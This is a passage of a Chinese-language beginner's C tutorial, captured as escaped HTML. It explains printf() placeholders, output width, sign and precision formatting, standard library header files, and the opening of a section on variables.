class=\"string\"\u003e\u0026#34;Hello\\nWorld\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例先输出一个\u003ccode\u003eHello\u003c/code\u003e,然后换行,在下一行开头输出\u003ccode\u003eWorld\u003c/code\u003e,然后又是一个换行。\u003c/p\u003e\u003cp\u003e上面示例也可以写成两个\u003ccode\u003eprintf()\u003c/code\u003e,效果完全一样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e是在标准库的头文件\u003ccode\u003estdio.h\u003c/code\u003e定义的。使用这个函数之前,必须在源码文件头部引入这个头文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只有在源码头部加上\u003ccode\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/code\u003e,才能使用\u003ccode\u003eprintf()\u003c/code\u003e这个函数。\u003ccode\u003e#include\u003c/code\u003e指令的详细解释,请看《预处理器》一章。\u003c/p\u003e\u003ch4 id=\"占位符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8D%A0%E4%BD%8D%E7%AC%A6\" class=\"headerlink\" title=\"占位符\"\u003e\u003c/a\u003e占位符\u003c/h4\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e可以在输出文本中指定占位符。所谓“占位符”,就是这个位置可以用其他值代入。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 There are 3 apples\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;There are %i apples\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eThere are %i apples\\n\u003c/code\u003e是输出文本,里面的\u003ccode\u003e%i\u003c/code\u003e就是占位符,表示这个位置要用其他值来替换。占位符的第一个字符一律为百分号\u003ccode\u003e%\u003c/code\u003e,第二个字符表示占位符的类型,\u003ccode\u003e%i\u003c/code\u003e表示这里代入的值必须是一个整数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的第二个参数就是替换占位符的值,上面的例子是整数\u003ccode\u003e3\u003c/code\u003e替换\u003ccode\u003e%i\u003c/code\u003e。执行后的输出结果就是\u003ccode\u003eThere are 3 apples\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e常用的占位符除了\u003ccode\u003e%i\u003c/code\u003e,还有\u003ccode\u003e%s\u003c/code\u003e表示代入的是字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s will come tonight\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Jane\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%s\u003c/code\u003e表示代入的是一个字符串,所以\u003ccode\u003eprintf()\u003c/code\u003e的第二个参数就必须是字符串,这个例子是\u003ccode\u003eJane\u003c/code\u003e。执行后的输出就是\u003ccode\u003eJane will come tonight\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e输出文本里面可以使用多个占位符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s says it is %i o\u0026#39;clock\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Ben\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e21\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,输出文本\u003ccode\u003e%s says it is %i o\u0026#39;clock\u003c/code\u003e有两个占位符,第一个是字符串占位符\u003ccode\u003e%s\u003c/code\u003e,第二个是整数占位符\u003ccode\u003e%i\u003c/code\u003e,分别对应\u003ccode\u003eprintf()\u003c/code\u003e的第二个参数(\u003ccode\u003eBen\u003c/code\u003e)和第三个参数(\u003ccode\u003e21\u003c/code\u003e)。执行后的输出就是\u003ccode\u003eBen says it is 21 o\u0026#39;clock\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e参数与占位符是一一对应关系,如果有\u003ccode\u003en\u003c/code\u003e个占位符,\u003ccode\u003eprintf()\u003c/code\u003e的参数就应该有\u003ccode\u003en + 1\u003c/code\u003e个。如果参数个数少于对应的占位符,\u003ccode\u003eprintf()\u003c/code\u003e可能会输出内存中的任意值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e的占位符有许多种类,与 C 语言的数据类型相对应。下面按照字母顺序,列出常用的占位符,方便查找,具体含义在后面章节介绍。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e%a\u003c/code\u003e:浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%A\u003c/code\u003e:浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%c\u003c/code\u003e:字符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%d\u003c/code\u003e:十进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%e\u003c/code\u003e:使用科学计数法的浮点数,指数部分的\u003ccode\u003ee\u003c/code\u003e为小写。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%E\u003c/code\u003e:使用科学计数法的浮点数,指数部分的\u003ccode\u003eE\u003c/code\u003e为大写。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%i\u003c/code\u003e:整数,基本等同于\u003ccode\u003e%d\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%f\u003c/code\u003e:小数(包含\u003ccode\u003efloat\u003c/code\u003e类型和\u003ccode\u003edouble\u003c/code\u003e类型)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%g\u003c/code\u003e:6个有效数字的浮点数。整数部分一旦超过6位,就会自动转为科学计数法,指数部分的\u003ccode\u003ee\u003c/code\u003e为小写。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%G\u003c/code\u003e:等同于\u003ccode\u003e%g\u003c/code\u003e,唯一的区别是指数部分的\u003ccode\u003eE\u003c/code\u003e为大写。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%hd\u003c/code\u003e:十进制 short int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%ho\u003c/code\u003e:八进制 short int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%hx\u003c/code\u003e:十六进制 short int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%hu\u003c/code\u003e:unsigned short int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%ld\u003c/code\u003e:十进制 long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lo\u003c/code\u003e:八进制 long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lx\u003c/code\u003e:十六进制 long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lu\u003c/code\u003e:unsigned long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lld\u003c/code\u003e:十进制 long long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%llo\u003c/code\u003e:八进制 long long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%llx\u003c/code\u003e:十六进制 long long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%llu\u003c/code\u003e:unsigned long long int 类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%Le\u003c/code\u003e:科学计数法表示的 long double 类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%Lf\u003c/code\u003e:long double 类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%n\u003c/code\u003e:已输出的字符串数量。该占位符本身不输出,只将值存储在指定变量之中。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%o\u003c/code\u003e:八进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%p\u003c/code\u003e:指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%s\u003c/code\u003e:字符串。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%u\u003c/code\u003e:无符号整数(unsigned int)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%x\u003c/code\u003e:十六进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%zd\u003c/code\u003e:\u003ccode\u003esize_t\u003c/code\u003e类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%%\u003c/code\u003e:输出一个百分号。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"输出格式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BE%93%E5%87%BA%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"输出格式\"\u003e\u003c/a\u003e输出格式\u003c/h4\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e可以定制占位符的输出格式。\u003c/p\u003e\u003cp\u003e(1)限定宽度\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e允许限定占位符的最小宽度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%5d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e123\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 输出为 \u0026#34; 123\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%5d\u003c/code\u003e表示这个占位符的宽度至少为5位。如果不满5位,对应的值的前面会添加空格。\u003c/p\u003e\u003cp\u003e输出的值默认是右对齐,即输出内容前面会有空格;如果希望改成左对齐,在输出内容后面添加空格,可以在占位符的\u003ccode\u003e%\u003c/code\u003e的后面插入一个\u003ccode\u003e-\u003c/code\u003e号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%-5d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e123\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 输出为 \u0026#34;123 \u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,输出内容\u003ccode\u003e123\u003c/code\u003e的后面添加了空格。\u003c/p\u003e\u003cp\u003e对于小数,这个限定符会限制所有数字的最小显示宽度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 \u0026#34; 123.450000\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%12f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e123.45\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%12f\u003c/code\u003e表示输出的浮点数最少要占据12位。由于小数的默认显示精度是小数点后6位,所以\u003ccode\u003e123.45\u003c/code\u003e输出结果的头部会添加2个空格。\u003c/p\u003e\u003cp\u003e(2)总是显示正负号\u003c/p\u003e\u003cp\u003e默认情况下,\u003ccode\u003eprintf()\u003c/code\u003e不对正数显示\u003ccode\u003e+\u003c/code\u003e号,只对负数显示\u003ccode\u003e-\u003c/code\u003e号。如果想让正数也输出\u003ccode\u003e+\u003c/code\u003e号,可以在占位符的\u003ccode\u003e%\u003c/code\u003e后面加一个\u003ccode\u003e+\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%+d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 输出 +12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%+d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e-12\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 输出 -12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%+d\u003c/code\u003e可以确保输出的数值,总是带有正负号。\u003c/p\u003e\u003cp\u003e(3)限定小数位数\u003c/p\u003e\u003cp\u003e输出小数时,有时希望限定小数的位数。举例来说,希望小数点后面只保留两位,占位符可以写成\u003ccode\u003e%.2f\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Number is 0.50\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Number is %.2f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果希望小数点后面输出3位(\u003ccode\u003e0.500\u003c/code\u003e),占位符就要写成\u003ccode\u003e%.3f\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这种写法可以与限定宽度占位符,结合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出为 \u0026#34; 0.50\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%6.2f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%6.2f\u003c/code\u003e表示输出字符串最小宽度为6,小数位数为2。所以,输出字符串的头部有两个空格。\u003c/p\u003e\u003cp\u003e最小宽度和小数位数这两个限定值,都可以用\u003ccode\u003e*\u003c/code\u003e代替,通过\u003ccode\u003eprintf()\u003c/code\u003e的参数传入。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%*.*f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e6\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%6.2f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%*.*f\u003c/code\u003e的两个星号通过\u003ccode\u003eprintf()\u003c/code\u003e的两个参数\u003ccode\u003e6\u003c/code\u003e和\u003ccode\u003e2\u003c/code\u003e传入。\u003c/p\u003e\u003cp\u003e(4)输出部分字符串\u003c/p\u003e\u003cp\u003e\u003ccode\u003e%s\u003c/code\u003e占位符用来输出字符串,默认是全部输出。如果只想输出开头的部分,可以用\u003ccode\u003e%.[m]s\u003c/code\u003e指定输出的长度,其中\u003ccode\u003e[m]\u003c/code\u003e代表一个数字,表示所要输出的长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 hello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.5s\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,占位符\u003ccode\u003e%.5s\u003c/code\u003e表示只输出字符串“hello world”的前5个字符,即“hello”。\u003c/p\u003e\u003ch3 id=\"标准库,头文件\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%A0%87%E5%87%86%E5%BA%93%EF%BC%8C%E5%A4%B4%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"标准库,头文件\"\u003e\u003c/a\u003e标准库,头文件\u003c/h3\u003e\u003cp\u003e程序需要用到的功能,不一定需要自己编写,C 语言可能已经自带了。程序员只要去调用这些自带的功能,就省得自己编写代码了。举例来说,\u003ccode\u003eprintf()\u003c/code\u003e这个函数就是 C 语言自带的,只要去调用它,就能实现在屏幕上输出内容。\u003c/p\u003e\u003cp\u003eC 语言自带的所有这些功能,统称为“标准库”(standard library),因为它们是写入标准的,到底包括哪些功能,应该怎么使用的,都是规定好的,这样才能保证代码的规范和可移植。\u003c/p\u003e\u003cp\u003e不同的功能定义在不同的文件里面,这些文件统称为“头文件”(header file)。如果系统自带某一个功能,就一定还会自带描述这个功能的头文件,比如\u003ccode\u003eprintf()\u003c/code\u003e的头文件就是系统自带的\u003ccode\u003estdio.h\u003c/code\u003e。头文件的后缀通常是\u003ccode\u003e.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果要使用某个功能,就必须先加载对应的头文件,加载使用的是\u003ccode\u003e#include\u003c/code\u003e命令。这就是为什么使用\u003ccode\u003eprintf()\u003c/code\u003e之前,必须先加载\u003ccode\u003estdio.h\u003c/code\u003e的原因。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,加载头文件的\u003ccode\u003e#include\u003c/code\u003e语句不需要分号结尾,详见《预处理器》一章。\u003c/p\u003e\u003ch2 id=\"变量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"变量\"\u003e\u003c/a\u003e变量\u003c/h2\u003e\u003cp\u003e变量(variable)可以理解成一块内存区域的名字。通过变量名,可以引用这块内存区域,获取里面存储的值。由于值可能发生变化,所以称为变量,否则就是常量了。\u003c/p\u003e\u003ch3 id=\"变量名\"\u003e\u003ca 